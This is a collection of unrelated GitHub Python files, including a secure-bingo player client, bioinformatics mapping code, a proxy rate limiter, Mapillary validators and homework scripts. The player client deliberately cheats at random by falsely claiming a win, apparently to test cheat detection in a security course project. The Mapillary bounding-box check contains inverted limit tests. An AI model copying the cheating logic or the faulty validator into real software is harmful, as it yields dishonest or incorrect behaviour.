int(keys[i]) == 0 else 0\n                decrypted_number = secure.decrypt_number(base64.b64decode(number), base64.b64decode(decks[keys[i]][\"sym_key\"]), flag)\n                new_deck.append(decrypted_number)\n\n            # The new current_deck will be the deck resulting from the decryption of the deck signed by the current player being analysed\n            current_deck = new_deck\n\n        print(\"Final plaintext Deck: \" + str(current_deck))\n\n        # The playing deck is the plaintext deck obtained at the end of the decryption process\n        # self.playing_deck = current_deck\n        self.playing_deck = current_deck\n\n        if len(cheaters) > 0:\n            return proto.Verify_Deck_NOK(self.ID, cheaters)\n        else:\n            print(\"Nobody has cheated\")\n            return proto.Verify_Deck_OK(self.ID)\n\n    def find_winner(self):\n        print(\"\\nStep 4\")\n        print(\"\\nI will now start the process of determining the winner:\")\n        print(\"This is my Playing card: \" + str(self.card))\n\n        winners = []\n\n        # Find the Winner\n        for number in self.playing_deck:\n            if number in self.card:\n                self.card.remove(number)\n\n            if len(self.card) == 0:\n                winners.append(self.ID)\n\n            for player in self.players_info.keys():\n                if number in self.players_info[player][\"card\"]:\n                    self.players_info[player][\"card\"].remove(number)\n\n                if len(self.players_info[player][\"card\"]) == 0:\n                    winners.append(player)\n\n            if len(winners) != 0:\n                break\n\n        if self.ID not in winners:\n            # Maybe I will cheat\n            rand = random.randint(0, 100)\n\n            if rand < 5:\n                #I am the cheater -> inside 10% chance\n                print(\"I am cheating... inside the find winner function\")\n                proto.Protocol.send_msg(self.socket, proto.Cheat(self.ID))\n                winners.append(self.ID)\n\n        for person in winners:\n            print(f\"I determined {person} as a winner\")\n        return proto.Winner(self.ID, winners)\n\n    def got_keyboard_data(self, stdin):\n        txt = stdin.read().strip()\n\n        if txt == \"1\":\n            msg = proto.Get_Players_List(self.ID)\n            signature = secure.sign_message(msg, self.private_key)\n            reply = proto.SignedMessage(msg, signature)\n            proto.Protocol.send_msg(self.socket, reply)\n        elif txt == \"2\":\n            f = open(\"security.log\", \"r\")\n            content = f.read()\n            print(content)\n            f.close()\n        elif txt == \"3\":\n            print(\"Shutting down...\")\n            self.selector.unregister(self.socket)\n            self.socket.close()\n            exit()\n        else:\n            print(\"Invalid option\") \n\n    def loop(self):\n        # set sys.stdin non-blocking\n        orig_fl = fcntl.fcntl(sys.stdin, fcntl.F_GETFL)\n        fcntl.fcntl(sys.stdin, fcntl.F_SETFL, orig_fl | os.O_NONBLOCK)\n        # register events input from keyboard + socket messages\n        self.selector.register(sys.stdin, selectors.EVENT_READ, self.got_keyboard_data)\n        while True:\n            if self.game_finished:\n                sys.stdout.write(\"\\nSelect one of the next options:\\n\")\n                sys.stdout.write(\"1 - Get Players List\\n\")\n                sys.stdout.write(\"2 - Get Audit Log\\n\")\n                sys.stdout.write(\"3 - Exit\\n\")\n                sys.stdout.write(\"Option: \")\n                sys.stdout.flush()\n\n            events = self.selector.select(timeout=None)\n            for key, mask in events:\n                callback = key.data\n                callback(key.fileobj)\n","repo_name":"abutuc/security-project-2","sub_path":"player/player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":15312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"30763846502","text":"r\"\"\"\nProvides concrete implementation of :class:`~kdvs.fw.Map.PKCIDMap` builder that\nuses `Gene Ontology <http://www.geneontology.org/>`_ as prior knowledge source\nfor data subsets generation.\nIt uses Affymetrix annotations shipped with specified microarray; those\nannotations shall contain mapping between the individual probe(set)s and Gene\nOntology terms (i.e. prior knowledge concepts). The currently implemented builder\nis tailored for processing of Affymetrix annotations.\nSee `Affymetrix annotations <http://www.affymetrix.com/support/technical/annotationfilesmain.affx>`_\nfor more details. The mapping is based solely on the annotations, i.e. it utilizes\nGO terms present at the time when annotations were constructed. KDVS provides\nconcrete manager (:class:`~kdvs.fw.impl.pk.go.GeneOntology.GOManager`) that\noffers more control over Gene Ontology content.\n\"\"\"\n\nfrom kdvs.core.error import Error\nfrom kdvs.core.util import quote\nfrom kdvs.fw.DBTable import DBTable, DBTemplate\nfrom kdvs.fw.DSV import DSV\nfrom kdvs.fw.Map import SetBDMap, PKCIDMap\nfrom kdvs.fw.impl.pk.go.GeneOntology import GO_INV_EVIDENCE_CODES, \\\n    GO_UNKNOWN_EV_CODE, GO_num2id, GO_DS, GO_BP_DS, GO_MF_DS, GO_CC_DS\n\n# this custom table uses specific features of GO such as evidence codes and term domain\nGOTERM2EM_TMPL = DBTemplate({\n    'name' : 'goterm2em',\n    'columns' : ('term_id', 'em_id', 'term_evc', 'term_name', 'term_domain'),\n    'id_column' : 'term_id',\n    'indexes' : ('term_id',),\n    })\nr\"\"\"\nCustom database template that hold querying data used in fast construction of\nGO--based :class:`~kdvs.fw.Map.PKCIDMap`. It defines the name 'goterm2em' and\ncolumns 'term_id', 'em_id', 'term_evc', 'term_name', 'term_domain'. The ID column\n'term_id' is indexed. The application 'experiment' utilizes this table. See\n:data:`~kdvs.fw.Annotation.PKC2EM_TMPL` for detailed discussion.\n\"\"\"\n\nclass PKCIDMapGOGPL(PKCIDMap):\n    r\"\"\"\nPKCIDMap builder that uses Affymetrix annotations available at `Gene Expression\nOmnibus <http://www.ncbi.nlm.nih.gov/geo/>`_. Annotations must already be loaded\n\"as--is\" into KDVS DB and wrapped into :class:`~kdvs.fw.DSV.DSV` instance.\nThe mapping table follows custom template :data:`GOTERM2EM_TMPL`. This builder\nconstructs two mappings:\n\n    * (1) domain--unaware one that does not group individual terms according to domains,\n    * (2) domain--aware one that groups individual terms according to domains\n\nThe domain--aware mapping is stored in public attribute :attr:`domains_map`.\n    \"\"\"\n    _SEQ_TYPE_COL = 'Sequence Type'\n    _GO_BP_COL = 'Gene Ontology Biological Process'\n    _GO_MF_COL = 'Gene Ontology Molecular Function'\n    _GO_CC_COL = 'Gene Ontology Cellular Component'\n    _CTRL_SEQUENCE_TAG = 'Control sequence'\n    _TERMS_MISSING = ''\n    _TERM_SEPARATOR = '///'\n    _TERM_INTER_SEPARATOR = '//'\n\n    def __init__(self):\n        super(PKCIDMapGOGPL, self).__init__()\n        self.domains_map = dict([(d, SetBDMap()) for d in GO_DS])\n        self.dbt = None\n        self.built = False\n\n    def getMapForDomain(self, domain):\n        r\"\"\"\nReturn part of PKCIDMap referring to specific GO domain.\n\nParameters\n----------\ndomain : string\n    GO domain name, one of: 'BP', 'MF', 'CC'\n\nReturns\n-------\ndomain_part_map : :class:`~kdvs.fw.Map.SetBDMap`\n    part of :class:`~kdvs.fw.Map.PKCIDMap` the refers to specific GO domain\n\nRaises\n------\nError\n    if domain name is incorrectly specified\n        \"\"\"\n        if domain not in GO_DS:\n            raise Error('Gene Ontology domain symbol (%s) expected! (got %s)' % (','.join(GO_DS), domain))\n        else:\n            return self.domains_map[domain]\n\n    def build(self, anno_dsv, map_db_key):\n        r\"\"\"\nConstruct the mapping using resources already present in KDVS DB (via\n:class:`~kdvs.core.db.DBManager`) and wrapped in :class:`~kdvs.fw.DSV.DSV`\ninstances. The mapping is built as database table and wrapped into\n:class:`~kdvs.fw.DBTable.DBTable` instance; it is stored in public attribute\n:attr:`dbt` of this instance. After the build is finished, the public attribute\n:attr:`built` is set to True. This builder requires Affymetrix annotations data\nalready loaded in KDVS DB and wrapped in DSV instance.\n\nParameters\n----------\nanno_dsv : :class:`~kdvs.fw.DSV.DSV`\n    valid instance of DSV that contains Affymetrix annotations data\n\nmap_db_key : string\n    ID of the database that will hold mapping table\n\nRaises\n------\nError\n    if DSV containing Affymetrix annotation data is incorrectly specified, is\n    not created, or is empty\n        \"\"\"\n        # NOTE: this map utilizes GO as prior knowledge sources and uses specific\n        # features of this source, such as evidence codes\n\n        # ---- check conditions\n        if not isinstance(anno_dsv, DSV):\n            raise Error('%s instance expected! (got %s)' % (DSV.__class__, anno_dsv.__class__))\n        if not anno_dsv.isCreated():\n            raise Error('Helper data table %s must be created first!' % quote(anno_dsv.name))\n        if anno_dsv.isEmpty():\n            raise Error('Helper data table %s must not be empty!' % quote(anno_dsv.name))\n        # ---- create goterm2em\n        goterm2em_dt = DBTable.fromTemplate(anno_dsv.dbm, map_db_key, GOTERM2EM_TMPL)\n        goterm2em_dt.create(indexed_columns=GOTERM2EM_TMPL['indexes'])\n        # ---- specify data subset from ANNO\n        query_domain_columns = (anno_dsv.id_column, self._SEQ_TYPE_COL, self._GO_BP_COL, self._GO_MF_COL,\n                                self._GO_CC_COL)\n        ctrl_seq_tag = self._CTRL_SEQUENCE_TAG\n        terms_missing = self._TERMS_MISSING\n        term_separator = self._TERM_SEPARATOR\n        term_part_separator = self._TERM_INTER_SEPARATOR\n        # ---- query data subset and build term2probeset\n        res = anno_dsv.getAll(columns=query_domain_columns, as_dict=False)\n        def _build_map():\n            for r in res:\n                msid, seq_type, bp_s, mf_s, cc_s = [str(pr) for pr in r]\n                if seq_type != ctrl_seq_tag:\n                    for ns, terms_s in ((GO_BP_DS, bp_s), (GO_MF_DS, mf_s), (GO_CC_DS, cc_s)):\n                        if terms_s != terms_missing:\n                            for term in terms_s.split(term_separator):\n                                tid, term_desc, ev_long = [x.strip() for x in term.split(term_part_separator)]\n                                try:\n                                    term_ev_code = GO_INV_EVIDENCE_CODES[ev_long]\n                                except KeyError:\n                                    term_ev_code = GO_UNKNOWN_EV_CODE\n                                term_id = GO_num2id(tid)\n                                yield term_id, msid, term_ev_code, term_desc, ns\n        goterm2em_dt.load(_build_map())\n        # ---- query term2probeset\n        query_t2em_columns = (goterm2em_dt.id_column, 'em_id', 'term_domain')\n        res = goterm2em_dt.getAll(columns=query_t2em_columns, as_dict=False)\n        # build final map\n        for r in res:\n            tid, msid, dom = [str(pr) for pr in r]\n            # update domain-unaware map\n            self.pkc2emid[tid] = msid\n            # update domain-aware map\n            self.domains_map[dom][tid] = msid\n        self.built = True\n        self.dbt = goterm2em_dt\n","repo_name":"slipguru/kdvs","sub_path":"kdvs/fw/impl/map/PKCID/GPL.py","file_name":"GPL.py","file_ext":"py","file_size_in_byte":7232,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"}
{"seq_id":"11020384274","text":"import sys\ninput = lambda: sys.stdin.readline().rstrip() \n\ndef resolve():\n    S, T = input().split()\n\n    def in_to_num(s):\n        if s[0]=='B':\n            return -int(s[1])\n        else:\n            return int(s[0])-1\n\n    print(abs(in_to_num(S)-in_to_num(T)))\n\nif __name__ == '__main__':\n    resolve()","repo_name":"kanji-a/competitive_programming","sub_path":"atcoder/past202004/a.py","file_name":"a.py","file_ext":"py","file_size_in_byte":305,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"14269535750","text":"import uuid\nimport json\nimport time\nimport requests\nfrom config import ENABLE_DEBUG_NOFORWARD\nfrom helpers.uwsgi_headers_parser import parse_uwsgi_request_headers\nfrom redis_cluster import RedisCluster\nfrom redis_cluster.functions import deregister_domain_hit, register_domain_hit\n\n\n\n\n\ndef raiserr(http_status, message, start_response):\n    \"\"\" Initialize UWSGI error response to be returned at the entry handler\"\"\"\n    start_response(str(http_status), [('Content-Type', 'application/json')])\n    ex_js = {\n        \"error\": message\n    }\n    \n    return [json.dumps(ex_js).encode('utf-8')]\n\ndef response(http_status, data: any, start_response):\n    \"\"\" Initialize UWSGI response to be returned at the entry handler\"\"\"\n    start_response(str(http_status), [('Content-Type', 'application/json')])\n\n    if isinstance(data,dict):\n        return [json.dumps(data).encode('utf-8')]\n    elif isinstance(data,str):\n        return [data.encode('utf-8')]\n    elif isinstance(data,int):\n        return [str(data).encode('utf-8')]\n    else:\n        # Unsupported data type\n        return [b\"{}\"]\n\n\n\n\ndef handle_proxy_request(env,start_response):\n    \"\"\" Proxifies the request \"\"\"\n\n    request_headers = parse_uwsgi_request_headers(env)\n\n    # Parse the target domain subject to rate limiting\n    target_domain = request_headers['x-crawler-thread-domain']\n\n    if not target_domain :\n        return raiserr('400 Bad Request', \"Must pass 'HTTP_X_CRAWLER_THREAD_DOMAIN'\", start_response)\n        \n    \n\n    # Register hit count\n    hit_registered_successfully = register_domain_hit(target_domain)\n\n    if not hit_registered_successfully:\n        return raiserr('429 Rate Limited', \"Rate was limited for domain %s \" % (target_domain), start_response)\n\n    try:\n        if not ENABLE_DEBUG_NOFORWARD:\n            endpoint_response = forward_request(env,request_headers)\n            return response(endpoint_response.status_code, endpoint_response.text,start_response)\n        else:\n            time.sleep(3)\n            return response(200, '{}',start_response)\n    except Exception as ex:\n        return raiserr(500,str(ex),start_response)\n    finally:\n        deregister_domain_hit(target_domain)\n        \n\ndef forward_request(env, headers) -> requests.Response:\n    \"\"\" Forward the request received in the proxy environment and return the response\"\"\"\n\n    request_method =  str(env.get('REQUEST_METHOD', 'get')).lower() # Default to get\n    \n    callable_target = getattr(requests,request_method)\n\n    return callable_target(url=env['REQUEST_URI'], headers=headers)\n","repo_name":"teocns/Crawler-Domain-Rate-Limiter","sub_path":"src/handle_request.py","file_name":"handle_request.py","file_ext":"py","file_size_in_byte":2552,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"40969900012","text":"# Time Complexity - O(N*2to the power of N)\n# Space Complexity  - O(N*2to the power of N)\n\n\nclass Solution:\n    def subsets(self, nums: List[int]) -> List[List[int]]:\n        def backtrack(first = 0, curr = []):\n            # if the combination is done\n            if len(curr) == k:  \n                output.append(curr[:])\n                return\n            #print (curr)\n            for i in range(first, n):\n                # add nums[i] into the current combination\n                curr.append(nums[i])\n                # use next integers to complete the combination\n                backtrack(i + 1, curr)\n                # backtrack\n                curr.pop()\n        \n        output = []\n        n = len(nums)\n        for k in range(n + 1):\n            #print(9999)\n            backtrack()\n        return output\n        \n        \n        ","repo_name":"BeerBytesIN/batch-nov-20","sub_path":"parnamondal/Week - 3/Day - 1/Subsets .py","file_name":"Subsets .py","file_ext":"py","file_size_in_byte":845,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"}
{"seq_id":"42493782398","text":"from mapillary.models.exceptions import (\n    InvalidBBoxError,\n    InvalidKwargError,\n    InvalidOptionError,\n)\nfrom mapillary.config.api.entities import Entities\nfrom mapillary.models.client import Client\n\n# Package Imports\nimport requests\nimport re\n\n\ndef international_dateline_check(bbox):\n    if bbox[\"west\"] > 0 and bbox[\"east\"] < 0:\n        return True\n    return False\n\n\ndef bbox_validity_check(bbox):\n    # longitude check\n    if bbox[\"west\"] < 180 or bbox[\"east\"] > 180:\n        raise InvalidBBoxError(message=\"Input values exceed their permitted limits\")\n    # lattitude check\n    elif bbox[\"north\"] > 90 or bbox[\"south\"] < 90:\n        raise InvalidBBoxError(message=\"Input values exceed their permitted limits\")\n    # longitude validity check\n    elif bbox[\"west\"] > bbox[\"east\"]:\n        # extra check for international dateline\n        # it could either be an error or cross an internaitonal dateline\n        # hence if it is passing the dateline, return True\n        if international_dateline_check(bbox):\n            new_east = bbox[\"east\"] + 360\n            bbox[\"east\"] = new_east\n            return bbox\n        raise InvalidBBoxError(message=\"Invalid values\")\n    # lattitude validitiy check\n    elif bbox[\"north\"] < bbox[\"south\"]:\n        raise InvalidBBoxError(message=\"Invalid values\")\n    elif bbox[\"north\"] == bbox[\"south\"] and bbox[\"west\"] == bbox[\"east\"]:\n        # checking for equal values to avoid flat box\n        raise InvalidBBoxError(message=\"Invalid values\")\n\n    return True\n\n\ndef kwarg_check(kwargs: dict, options: list, callback: str) -> bool:\n    \"\"\"\n    Checks for keyword arguments amongst the kwarg argument to fall into the options list\n\n    :param kwargs: A dictionary that contains the keyword key-value pair arguments\n    :type kwargs: dict\n\n    :param options: A list of possible arguments in kwargs\n    :type options: list\n\n    :param callback: The function that called 'kwarg_check' in the case of an exception\n    :type callback: str\n\n    :raises InvalidOptionError: Invalid option exception\n\n    :return: A boolean, whether the kwargs are appropriate or not\n    :rtype: bool\n    \"\"\"\n\n    if kwargs is not None:\n        for key in kwargs.keys():\n            if key not in options:\n                raise InvalidKwargError(\n                    func=callback,\n                    key=key,\n                    value=kwargs[key],\n                    options=options,\n                )\n\n    # If 'zoom' is in kwargs\n    if (\"zoom\" in kwargs) and (kwargs[\"zoom\"] < 14 or kwargs[\"zoom\"] > 17):\n        # Raising exception for invalid zoom value\n        raise InvalidOptionError(\n            param=\"zoom\", value=kwargs[\"zoom\"], options=[14, 15, 16, 17]\n        )\n\n    # if 'image_type' is in kwargs\n    if (\"image_type\" in kwargs) and (\n        kwargs[\"image_type\"] not in [\"pano\", \"flat\", \"all\"]\n    ):\n        # Raising exception for invalid image_type value\n        raise InvalidOptionError(\n            param=\"image_type\",\n            value=kwargs[\"image_type\"],\n            options=[\"pano\", \"flat\", \"all\"],\n        )\n\n    # If all tests pass, return True\n    return True\n\n\ndef image_check(kwargs) -> bool:\n    \"\"\"\n    For image entities, check if the arguments provided fall in the right category\n\n    :param kwargs: A dictionary that contains the keyword key-value pair arguments\n    :type kwargs: dict\n    \"\"\"\n\n    # Kwarg argument check\n    return kwarg_check(\n        kwargs=kwargs,\n        options=[\n            \"min_captured_at\",\n            \"max_captured_at\",\n            \"radius\",\n            \"image_type\",\n            \"organization_id\",\n            \"fields\",\n        ],\n        callback=\"image_check\",\n    )\n\n\ndef resolution_check(resolution: int) -> bool:\n    \"\"\"\n    Checking for the proper thumbnail size of the argument\n\n    :param resolution: The image size to fetch for\n    :type resolution: int\n\n    :raises InvalidOptionError: Invalid thumbnail size passed raises exception\n\n    :return: A check if the size is correct\n    :rtype: bool\n    \"\"\"\n\n    if resolution not in [256, 1024, 2048]:\n        # Raising exception for resolution value\n        raise InvalidOptionError(\n            param=\"resolution\", value=str(resolution), options=[256, 1024, 2048]\n        )\n\n    return True\n\n\ndef image_bbox_check(kwargs: dict) -> dict:\n    \"\"\"\n    Check if the right arguments have been provided for the image bounding box\n\n    :param kwargs: The dictionary parameters\n    :type kwargs: dict\n\n    :return: A final dictionary with the kwargs\n    :rtype: dict\n    \"\"\"\n\n    if kwarg_check(\n        kwargs=kwargs,\n        options=[\n            \"max_captured_at\",\n            \"min_captured_at\",\n            \"image_type\",\n            \"compass_angle\",\n            \"organization_id\",\n            \"sequence_id\",\n            \"zoom\",\n        ],\n        callback=\"image_bbox_check\",\n    ):\n        return {\n            \"max_captured_at\": kwargs.get(\"max_captured_at\", None),\n            \"min_captured_at\": kwargs.get(\"min_captured_at\", None),\n            \"image_type\": kwargs.get(\"image_type\", None),\n            \"compass_angle\": kwargs.get(\"compass_angle\", None),\n            \"sequence_id\": kwargs.get(\"sequence_id\", None),\n            \"organization_id\": kwargs.get(\"organization_id\", None),\n        }\n\n\ndef sequence_bbox_check(kwargs: dict) -> dict:\n    \"\"\"\n    Checking of the sequence bounding box\n\n    :param kwargs: The final dictionary with the correct keys\n    :type kwargs: dict\n\n    :return: A dictionary with all the options available specifically\n    :rtype: dict\n    \"\"\"\n\n    if kwarg_check(\n        kwargs=kwargs,\n        options=[\n            \"max_captured_at\",\n            \"min_captured_at\",\n            \"image_type\",\n            \"organization_id\",\n            \"zoom\",\n        ],\n        callback=\"sequence_bbox_check\",\n    ):\n        return {\n            \"max_captured_at\": kwargs.get(\"max_captured_at\", None),\n            \"min_captured_at\": kwargs.get(\"min_captured_at\", None),\n            \"image_type\": kwargs.get(\"image_type\", None),\n            \"organization_id\": kwargs.get(\"organization_id\", None),\n        }\n\n\ndef points_traffic_signs_check(kwargs: dict) -> dict:\n    \"\"\"\n    Checks for traffic sign arguments\n\n    :param kwargs: The parameters to be passed for filtering\n    :type kwargs: dict\n\n    :return: A dictionary with all the options available specifically\n    :rtype: dict\n    \"\"\"\n\n    if kwarg_check(\n        kwargs=kwargs,\n        options=[\"existed_at\", \"existed_before\"],\n        callback=\"points_traffic_signs_check\",\n    ):\n        return {\n            \"existed_at\": kwargs.get(\"existed_at\", None),\n            \"existed_before\": kwargs.get(\"existed_before\", None),\n        }\n\n\ndef valid_id(identity: int, image=True) -> None:\n    \"\"\"\n    Checks if a given id is valid as it is assumed. For example, is a given id expectedly an\n    image_id or not? Is the id expectedly a map_feature_id or not?\n\n    :param identity: The ID passed\n    :type identity: int\n\n    :param image: Is the passed id an image_id?\n    :type image: bool\n\n    :raises InvalidOptionError: Raised when invalid arguments are passed\n\n    :return: None\n    :rtype: None\n    \"\"\"\n\n    # IF image == False, and error_check == True, this becomes True\n    # IF image == True, and error_check == False, this becomes True\n    if image ^ is_image_id(identity=identity, fields=[]):\n        # The EntityAdapter() sends a request to the server, checking\n        # if the id is indeed an image_id, TRUE is so, else FALSE\n\n        # Raises an exception of InvalidOptionError\n        raise InvalidOptionError(\n            param=\"id\",\n            value=f\"ID: {identity}, image: {image}\",\n            options=[\n                \"ID is image_id AND image is True\",\n                \"ID is map_feature_id AND image is False\",\n            ],\n        )\n\n\ndef is_image_id(identity: int, fields: list = None) -> bool:\n    \"\"\"\n    Checks if the id is an image_id\n\n    :param identity: The id to be checked\n    :type identity: int\n\n    :param fields: The fields to be checked\n    :type fields: list\n\n    :return: True if the id is an image_id, else False\n    :rtype: bool\n    \"\"\"\n\n    try:\n        res = requests.get(\n            Entities.get_image(\n                image_id=str(identity),\n                fields=fields if fields != [] else Entities.get_image_fields(),\n            ),\n            headers={\"Authorization\": f\"OAuth {Client.get_token()}\"},\n        )\n        return res.status_code == 200\n\n    except requests.HTTPError:\n        return False\n\n\ndef check_file_name_validity(file_name: str) -> bool:\n    \"\"\"\n    Checks if the file name is valid\n\n    Valid file names are,\n\n    - Without extensions\n    - Without special characters\n    - A-Z, a-z, 0-9, _, -\n\n    :param file_name: The file name to be checked\n    :type file_name: str\n\n    :return: True if the file name is valid, else False\n    :rtype: bool\n    \"\"\"\n\n    string_check = re.compile(\"[@.!#$%^&*()<>?/}{~:]\")  # noqa: W605\n    if (\n        # File name characters are not all ASCII\n        not all(ord(c) < 128 for c in file_name)\n        # File name characters contain special characters or extensions\n        or string_check.search(file_name)\n    ):\n        print(\n            f\"File name: {file_name} is not valid. Please use only letters, numbers, dashes,\"\n            f\" and underscores. \\nDefaulting to: mapillary_CURRENT_UNIX_TIMESTAMP_\"\n        )\n        return False\n    return True\n","repo_name":"mapillary/mapillary-python-sdk","sub_path":"src/mapillary/utils/verify.py","file_name":"verify.py","file_ext":"py","file_size_in_byte":9384,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"18"}
{"seq_id":"37240244773","text":"from random import choice\nfrom string import ascii_lowercase\n\nwin_count, lose_count = 0, 0\nprint(\"H A N G M A N\")\n\n\ndef game():\n    global lose_count, win_count\n\n    difficulty = input(\"Enter difficulty (easy/medium/hard): \")\n    while difficulty.lower() not in (\"easy\", \"medium\", \"hard\"):\n        difficulty = input(\"Difficulty must be easy, medium or hard: \")\n\n    with open(\"{}_wordlist.txt\".format(difficulty), \"r\") as wordlist:\n        secret_word = choice(wordlist.readlines()).replace(\"\\n\", \"\")\n\n    board = list(len(secret_word) * \"_\")\n    attempts = 8\n    guessed = []\n\n    while True:\n\n        print(\"\\n\" + \"\".join(board))\n        guess = input(\"Input a letter: \")\n\n        if len(guess) != 1:\n            print(\"Please, input a single letter.\")\n            continue\n        if guess.isupper() or guess not in ascii_lowercase or type(guess) is int:\n            print(\"Please, enter a lowercase letter from the English alphabet.\")\n            continue\n        if guess in guessed:\n            print(\"You've already guessed this letter.\")\n            continue\n\n        for index, value in enumerate(secret_word):\n            if guess == value:\n                board[index] = guess\n\n            guessed.append(guess)\n\n        if all([letter in guessed for letter in secret_word]):\n            print(\"\\nYou guessed the word {}!\\nYou survived!\".format(secret_word))\n            win_count += 1\n            return\n        if guess not in secret_word:\n            attempts -= 1\n            if attempts == 0:\n                print(\"\\nYou have no attempts left. You lost! The secret word was {}\".format(secret_word))\n                lose_count += 1\n                return\n            else:\n                print(\"That letter doesn't appear in the word. You have {} attempts left.\".format(attempts))\n\n\nwhile True:\n\n    player_input = input(\"\\nType \\\"play\\\" to play the game, \" +\n                         \"\\\"results\\\" to show the scoreboard, and \\\"exit\\\" to quit: \").lower()\n\n    if player_input == \"play\":\n        game()\n    elif player_input == \"results\":\n        print(\"You won: {} times.\\nYou lost: {} times.\".format(win_count, lose_count))\n    elif player_input == \"exit\":\n        quit()\n    else:\n        continue\n","repo_name":"toprakware/hyperskill-projects","sub_path":"hangman/hangman.py","file_name":"hangman.py","file_ext":"py","file_size_in_byte":2218,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"30227705199","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Jan  3 21:06:41 2018\r\n\r\n@author: kennylin\r\n\"\"\"\r\n\r\nimport csv\r\nimport sys\r\nimport numpy as np\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nimport keras.backend as K\r\nfrom keras.models import load_model\r\nfrom sklearn.manifold import TSNE\r\nfrom sklearn.cluster import KMeans\r\nfrom sklearn.decomposition import PCA\r\nfrom keras.models import Model\r\nfrom keras.layers import Dense, Input\r\nfrom keras.optimizers import Adam\r\n\r\ndef normalization(X):\r\n    u = np.mean(X , axis = 0)\r\n    std = np.std(X, axis = 0)\r\n    return (X - u) / (std + 1e-10)\r\nprint('load...')\r\ndata = np.load(sys.argv[1])\r\n\r\nprint(\"normalize...\")\r\nn_data = normalization(data)\r\n\"\"\"\r\nencoding_dim = 32\r\ninput_img = Input(shape = (784,))\r\n\r\nencoded = Dense(128, activation='relu')(input_img)\r\nencoded = Dense(64, activation='relu')(encoded)\r\nencoded = Dense(48, activation='relu')(encoded)\r\nencoder_output = Dense(encoding_dim)(encoded)\r\n\r\ndecoded = Dense(64, activation='relu')(encoder_output)\r\ndecoded = Dense(128, activation='relu')(decoded)\r\ndecoded = Dense(256, activation='relu')(decoded)\r\ndecoded = Dense(784, activation='sigmoid')(decoded)\r\n\r\nencoder = Model(input=input_img, output=encoder_output)\r\n\r\nautoencoder = Model(input=input_img, output=decoded)\r\n\r\nautoencoder.compile(optimizer='adam', loss='binary_crossentropy')\r\n\r\nautoencoder.fit(n_data, n_data, epochs=300, batch_size=512, shuffle=True, validation_split = 0.1)\r\nencoder.save(\"hw6.h5\")\r\n\"\"\"\r\n#%%\r\n\"\"\"\r\nprint(\"pca...\")\r\npca = PCA(n_components = 32, whiten = True).fit(n_data)\r\nx = pca.transform(n_data)\r\n\"\"\"\r\n#%%\r\nprint('kmeans...')\r\nencoder = load_model(\"hw6.h5\")\r\nx = encoder.predict(n_data)\r\nk = KMeans(n_clusters = 2).fit(x)\r\n\r\n#%%\r\ncount = 0\r\nfor i in range(140000):\r\n    if k.labels_[i] == 0:\r\n        count += 1\r\n\r\n#%%\r\n\r\nwith open(sys.argv[2]) as f:\r\n    f.readline()\r\n    image1 = []\r\n    image2 = []\r\n    for row in csv.reader(f):\r\n        image1.append(int(row[1]))\r\n        image2.append(int(row[2]))\r\n        \r\nwith open(sys.argv[3], \"w\") as f:\r\n    f.write(\"ID,Ans\\n\")\r\n    for i in range(1980000):\r\n        if k.labels_[image1[i]] == k.labels_[image2[i]]:\r\n            pic = 1\r\n        else:\r\n            pic = 0\r\n        f.write(\"{},{}\\n\".format(i, pic))\r\n\r\n","repo_name":"aeiou335/ML2017FALL","sub_path":"hw6/hw6.py","file_name":"hw6.py","file_ext":"py","file_size_in_byte":2262,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"37820117221","text":"import torch.optim as optim\nfrom typing import cast, List, Optional, Dict, Tuple\nimport torch\n\n# denote blocks\n# start epoch\n# optimizer.reconfigure layer(k)\n    # for layers in parameters\n        # set lr 0\n    # lrs[k] = 1e-3\n# otpimzer.zero_grad\n# train loop\n# loss = criterion(logits, y)\n# loss.backward()\n\n# class CrossValidationOptimizer(optim.Adam):\n#     def __init__(self, layered_model, lr=1e-3):\n#         layer_names = [x[0] for x in layered_model.layered_modules]\n#         #layer_index = layer_names.index(layer_name)\n#         modules = layered_model.layered_modules[layer_index][1]\n#\n#         layer_params = []\n#         for module in modules.modules():\n#             for param in module.parameters():\n#                 layer_params.append(param)\n#         self.layer_parameters = layer_params\n#         self.lr = lr\n#\n#         self.optimizer = optim.Adam(params=self.layer_parameters, lr=self.lr)\n\nclass CrossValidationOptimizer(optim.Adam):\n    def __init__(self, params, lr=1e-3, betas=(0.9, 0.999), eps=1e-8,\n                 weight_decay=0, amsgrad=False, *, foreach: Optional[bool] = None,\n                 maximize: bool = False, capturable: bool = False,\n                 differentiable: bool = False, fused: bool = False):\n        super(CrossValidationOptimizer, self).__init__(params, lr=lr, betas=betas, eps=eps,\n                 weight_decay=weight_decay, amsgrad=amsgrad, foreach=foreach,\n                 maximize=maximize, capturable=capturable,\n                 differentiable=differentiable, fused=fused)\n\n        self.original_params = params\n        self.original_lrs = [param_group['lr'] for param_group in self.param_groups]\n        for param_group in self.param_groups:\n            param_group['lr'] = 0\n\n    def use_layers(self, block_index):\n        # reset previous layers learning rate and set specific block layers\n        self.param_groups[block_index]['lr'] = self.original_lrs[block_index]\n\n    def step(self, closure=None):\n\n        for i in range(len(self.param_groups)):\n            self.use_layers(i)\n\n","repo_name":"kelechiu10/CS330Project","sub_path":"optimizers/cross_validation_optimizer.py","file_name":"cross_validation_optimizer.py","file_ext":"py","file_size_in_byte":2054,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
